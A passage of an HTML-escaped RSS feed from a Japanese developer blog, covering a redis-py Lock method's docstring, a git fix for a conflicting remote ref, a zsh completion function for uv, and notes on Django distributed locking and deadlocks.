&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: str,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep: float &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock_class: Union[&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, Any] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Return a new Lock object using key ``name`` that mimics
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the behavior of threading.Lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; If specified, ``timeout`` indicates a maximum life for the lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; By default, it will remain locked until release() is called.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``sleep`` indicates the amount of time to sleep per loop iteration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; when the lock is in blocking mode and another client is currently
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; holding the lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``blocking`` indicates whether calling ``acquire`` should block until
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the lock has been acquired or to fail immediately, causing ``acquire``
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; to return False and the lock not being acquired. Defaults to True.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Note this value can be overridden by passing a ``blocking``
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; argument to ``acquire``.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``blocking_timeout`` indicates the maximum amount of time in seconds to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; spend trying to acquire the lock. A value of ``None`` indicates
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; continue trying forever. ``blocking_timeout`` can be specified as a
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; float or integer, both representing the number of seconds to wait.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``lock_class`` forces the specified lock implementation. Note that as
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; of redis-py 3.0, the only lock class we implement is ``Lock`` (which is
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; a Lua-based lock). So, it&amp;#39;s unlikely you&amp;#39;ll need this parameter, unless
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; you have created your own custom lock class.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; ``thread_local`` indicates whether the lock token is placed in
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-local storage. By default, the token is placed in thread local
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; storage so that a thread only sees its token, not a token set by
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; another thread. Consider the following timeline:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 0, thread-1 acquires `my-lock`, with a timeout of 5 seconds.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-1 sets the token to &amp;#34;abc&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 1, thread-2 blocks trying to acquire `my-lock` using the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Lock instance.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 5, thread-1 has not yet completed. redis expires the lock
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; key.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 5, thread-2 acquired `my-lock` now that it&amp;#39;s available.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-2 sets the token to &amp;#34;xyz&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; time: 6, thread-1 finishes its work and calls release(). if the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; token is *not* stored in thread local storage, then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread-1 would see the token value as &amp;#34;xyz&amp;#34; and would be
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; able to successfully release the thread-2&amp;#39;s lock.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; In some use cases it&amp;#39;s necessary to disable thread local storage. For
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; example, if you have code where one thread acquires a lock and passes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; that lock instance to a worker thread to release later. If thread
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; local storage isn&amp;#39;t disabled in this case, the worker thread won&amp;#39;t see
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; the token set by the thread that acquired the lock. Our assumption
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; is that these cases aren&amp;#39;t common and as such default to using
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; thread local storage.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; lock_class &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; lock_class &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Lock
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; lock_class(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sleep,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking_timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local&lt;span style="color:#f92672"&gt;=&lt;/span&gt;thread_local,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>devel を削除したたが devel/0 を作れない</title><link>https://hdknr.github.io/blogs/posts/2023/12/devel-%E3%82%92%E5%89%8A%E9%99%A4%E3%81%97%E3%81%9F%E3%81%9F%E3%81%8C-devel/0-%E3%82%92%E4%BD%9C%E3%82%8C%E3%81%AA%E3%81%84/</link><pubDate>Wed, 13 Dec 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/12/devel-%E3%82%92%E5%89%8A%E9%99%A4%E3%81%97%E3%81%9F%E3%81%9F%E3%81%8C-devel/0-%E3%82%92%E4%BD%9C%E3%82%8C%E3%81%AA%E3%81%84/</guid><description>&lt;h1 id="git-update-ref--d"&gt;git update-ref -d&lt;/h1&gt;
&lt;p&gt;これだけだと devel/2023-12-14 を pull できない&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git branch -d devel
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;error: cannot lock ref &amp;#39;refs/remotes/origin/devel/2023-12-14&amp;#39;: &amp;#39;refs/remotes/origin/devel&amp;#39; exists; cannot create &amp;#39;refs/remotes/origin/devel/2023-12-14&amp;#39;
From github.com:spin-dd/taihei-epm-server
! [new branch] devel/2023-12-14 -&amp;gt; origin/devel/2023-12-14 (unable to update local ref)
error: some local refs could not be updated; try running
&amp;#39;git remote prune origin&amp;#39; to remove any old, conflicting branches
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;update-ref&lt;/code&gt; でクリアされる&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git update-ref -d refs/remotes/origin/devel
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Bash スクリプト</title><link>https://hdknr.github.io/blogs/posts/2023/11/bash-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</link><pubDate>Mon, 20 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/bash-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88/</guid><description>&lt;h1 id="bash-スクリプト"&gt;bash スクリプト&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/kawarimidoll/articles/d546892a6d36eb"&gt;bash シェルスクリプトで引数とオプションを解析する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/doi-t/7853853"&gt;シェル変数のデフォルト値を設定する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="compdef"&gt;compdef&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eval &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;uv generate-shell-completion zsh&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_uv_run_mod&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[[&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$words&lt;span style="color:#e6db74"&gt;[2]&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;run&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$words&lt;span style="color:#e6db74"&gt;[CURRENT]&amp;#34;&lt;/span&gt; !&lt;span style="color:#f92672"&gt;=&lt;/span&gt; -* &lt;span style="color:#f92672"&gt;]]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; _arguments &lt;span style="color:#e6db74"&gt;&amp;#39;*:filename:_files&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; _uv &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$@&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;compdef _uv_run_mod uv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;uv というコマンドに対して、_uv_run_mod という補完関数を関連付けています。&lt;/li&gt;
&lt;li&gt;uv の後に Tab キーを押すと、_uv_run_mod 関数で定義された補完候補が表示されます。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MPTT tree_id</title><link>https://hdknr.github.io/blogs/posts/2023/11/mptt-tree_id/</link><pubDate>Mon, 06 Nov 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/11/mptt-tree_id/</guid><description>&lt;h1 id="mptt-tree-id"&gt;MPTT Tree ID&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/koukikun1105/items/f2b4c014bd8f95038a21"&gt;Django + mysql： transaction.atomic() で select_for_update() を使ってレコードをロックしたときのメモ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Nyokki/items/c68dddff2368c557c4bf"&gt;MySQL で採番機能（シーケンス）を実装する方法を整理する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/ham0215/items/f53dda06dd43e6be12c9"&gt;MySQL のロックについて公式ドキュメントを読みながら動作検証してみた〜テーブルレベルロック〜&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="分散ロック"&gt;分散ロック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lincolnloop.com/insights/distributed-locking-django/"&gt;Distributed Locking in Django&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.core.cache &lt;span style="color:#f92672"&gt;import&lt;/span&gt; cache
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; cache&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(&lt;span style="color:#e6db74"&gt;&amp;#34;somekey&amp;#34;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; do_some_thing()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;redis-py:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-py/blob/d3a3ada03e080f39144807c9fbe44876c40e0548/redis/client.py#L394"&gt;https://github.com/redis/redis-py/blob/d3a3ada03e080f39144807c9fbe44876c40e0548/redis/client.py#L394&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="デッドロック"&gt;デッドロック&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/17183434/hook-available-for-automatic-retry-after-deadlock-in-django-and-mysql-setup"&gt;Hook available for automatic retry after deadlock in django and mysql setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
